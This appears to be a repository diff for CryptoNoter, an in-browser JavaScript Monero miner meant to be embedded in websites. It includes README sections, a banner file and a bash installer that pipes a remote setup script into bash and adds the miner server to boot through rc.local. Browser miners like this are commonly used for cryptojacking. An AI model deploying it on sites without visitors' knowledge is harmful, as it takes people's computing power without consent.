|
|
147
|
+
1. Port in use. Check if the port is listening?
|
|
148
|
+
2. Connection errors are commonly casused by iptables. Check your firewall settings
|
|
149
|
+
3. CryptoNoter not generating hashes. Check your config.json setting
|
|
150
|
+
4. Check the setting of nginx.conf, config.json, worker.js, processor.js & cryptonight-asmjs.min.js
|
|
151
|
+
|
|
152
|
+
If you have any questions on Troubleshooting & Debugging, please ask the questions here: https://github.com/cryptonoter/CryptoNoter/issues/1
|
|
153
|
+
|
|
154
|
+
## Future Developments
|
|
155
|
+
At this moment, I'm working on the coding to make it compatible with majority of the CryptoNote currencies. In addition, i am also working to build a pool that supports in-browser javascript mining.
|
|
156
|
+
|
|
157
|
+
## Mining Pools
|
|
158
|
+
I am not affilated to the xmr mining pool: monero.us.to:1111
|
|
159
|
+
This pool is referenced in the coding because i am personally using it for my web mining network. It is not the best ideal pool and you may change it to whichever pool you prefer.
|
|
160
|
+
|
|
161
|
+
I am planning to create and host a custom pool that supports difficulty level < 500 so that miners can submit their shares more often within 60 seconds interval.
|
|
162
|
+
|
|
163
|
+
In a low difficulty pool, miners submit shares more often and hence results in higher bandwidth costs. It will be difficult for me to maintain a low difficulty pool all by myself, however it will be possible if everyone can understand the mission of the project: Great things happen when we work together. The power of collaboration.
|
|
164
|
+
|
|
165
|
+
Please consider a donation for my future developments. Thank you
|
|
166
|
+
|
|
167
|
+
## XMR Donations To Support
|
|
168
|
+
I am looking to add other cryptonote currencies support onto this platform and also to create a monero pool specifically for javascript browser mining. There are costs involved in developments. If you are interested in my future developments, i would really appreciate a small donation to support this project.
|
|
169
|
+
```html
|
|
170
|
+
My Monero Wallet Address
|
|
171
|
+
42zXE5jcPpWR2J6pVRE39uJEqUdMWdW2H4if27wcS1bwUbBRTeSR5aDbAxP5KCjWueiZevjSBxqNZ36Q5ANPND3m4RJoeqX
|
|
172
|
+
```
|
|
173
|
+
|
|
174
|
+
## License
|
|
175
|
+
MIT https://raw.github.com/cryptonoter/CryptoNoter/master/LICENSE
|
|
176
|
+
|
|
177
|
+
## Missions
|
|
178
|
+
Great things happen when we work together. The power of collaboration
|
|
@@ -0,0 +1,4 @@
|
|
|
1
|
+
CryptoNoter
|
|
2
|
+
In-Browser Javascript XMR miner for websites / Payout towards personal XMR wallet
|
|
3
|
+
Built for in-browser javascript mining on any Monero pools. 0% Commission. 100% Payout
|
|
4
|
+
----------------------------------------------------------------------------------------
|
|
@@ -0,0 +1,60 @@
|
|
|
1
|
+
read -p "[1] Listen Port (7777) > " lport
|
|
2
|
+
read -p "[2] Your Domain (localhost) > " domain
|
|
3
|
+
read -p "[3] Pool Host&Port (monero.us.to:1111) > " pool
|
|
4
|
+
read -p "[4] Your XMR wallet (important!!!) > " addr
|
|
5
|
+
if [ ! -n "$lport" ];then
|
|
6
|
+
lport="7777"
|
|
7
|
+
fi
|
|
8
|
+
if [ ! -n "$domain" ];then
|
|
9
|
+
domain="localhost"
|
|
10
|
+
fi
|
|
11
|
+
if [ ! -n "$pool" ];then
|
|
12
|
+
pool="monero.us.to:1111"
|
|
13
|
+
fi
|
|
14
|
+
while [ ! -n "$addr" ];do
|
|
15
|
+
read -p "Plesae set XMR wallet address!!! > " addr
|
|
16
|
+
done
|
|
17
|
+
read -p "[5] The Pool passwd (null) > " pass
|
|
18
|
+
curl -sL https://deb.nodesource.com/setup_8.x | bash -
|
|
19
|
+
apt install --yes nodejs git curl nginx
|
|
20
|
+
mkdir /srv
|
|
21
|
+
cd /srv
|
|
22
|
+
rm -rf CryptoNoter
|
|
23
|
+
git clone https://github.com/cryptonoter/CryptoNoter.git -o CryptoNoter
|
|
24
|
+
cd CryptoNoter
|
|
25
|
+
sed -i "s/7777/$lport/g" config.json
|
|
26
|
+
sed -i "s/miner.cryptonoter.com/$domain/g" config.json
|
|
27
|
+
sed -i "s/monero.us.to:1111/$pool/g" config.json
|
|
28
|
+
sed -i "s/42zXE5jcPpWR2J6pVRE39uJEqUdMWdW2H4if27wcS1bwUbBRTeSR5aDbAxP5KCjWueiZevjSBxqNZ36Q5ANPND3m4RJoeqX/$addr/g" config.json
|
|
29
|
+
sed -i "s/\"pass\": \"\"/\"pass\": \"$pass\"/g" config.json
|
|
30
|
+
npm update
|
|
31
|
+
npm install -g forever
|
|
32
|
+
forever start /srv/CryptoNoter/server.js
|
|
33
|
+
sed -i '/forever start \/srv\/CryptoNoter\/server.js/d' /etc/rc.local
|
|
34
|
+
sed -i '/exit 0/d' /etc/rc.local
|
|
35
|
+
echo "forever start /srv/CryptoNoter/server.js" >> /etc/rc.local
|
|
36
|
+
echo "exit 0" >> /etc/rc.local
|
|
37
|
+
rm -rf /etc/nginx/sites-available/CryptoNoter.conf
|
|
38
|
+
rm -rf /etc/nginx/sites-enabled/CryptoNoter.conf
|
|
39
|
+
echo 'server {' >> /etc/nginx/sites-available/CryptoNoter.conf
|
|
40
|
+
echo 'listen 80;' >> /etc/nginx/sites-available/CryptoNoter.conf
|
|
41
|
+
echo "server_name $domain;" >> /etc/nginx/sites-available/CryptoNoter.conf
|
|
42
|
+
echo 'location / {' >> /etc/nginx/sites-available/CryptoNoter.conf
|
|
43
|
+
echo 'proxy_http_version 1.1;' >> /etc/nginx/sites-available/CryptoNoter.conf
|
|
44
|
+
echo 'proxy_set_header Host $http_host;' >> /etc/nginx/sites-available/CryptoNoter.conf
|
|
45
|
+
echo 'proxy_set_header X-Real-IP $remote_addr;' >> /etc/nginx/sites-available/CryptoNoter.conf
|
|
46
|
+
echo 'proxy_set_header Upgrade $http_upgrade;' >> /etc/nginx/sites-available/CryptoNoter.conf
|
|
47
|
+
echo 'proxy_set_header Connection "upgrade";' >> /etc/nginx/sites-available/CryptoNoter.conf
|
|
48
|
+
echo 'proxy_cache_bypass $http_upgrade;' >> /etc/nginx/sites-available/CryptoNoter.conf
|
|
49
|
+
echo "proxy_pass http://127.0.0.1:$lport;" >> /etc/nginx/sites-available/CryptoNoter.conf
|
|
50
|
+
echo '}' >> /etc/nginx/sites-available/CryptoNoter.conf
|
|
51
|
+
echo '}' >> /etc/nginx/sites-available/CryptoNoter.conf
|
|
52
|
+
ln -s /etc/nginx/sites-available/CryptoNoter.conf /etc/nginx/sites-enabled/CryptoNoter.conf
|
|
53
|
+
clear
|
|
54
|
+
echo " >>> Serv : $domain (backend > 127.0.0.1:$lport)"
|
|
55
|
+
echo " >>> Pool : $pool"
|
|
56
|
+
echo " >>> Addr : $addr"
|
|
57
|
+
echo ""
|
|
58
|
+
echo " Installation Completed ! Start Mining Monero Using CryptoNoter !"
|
|
59
|
+
echo ""
|
|
60
|
+
service nginx restart
|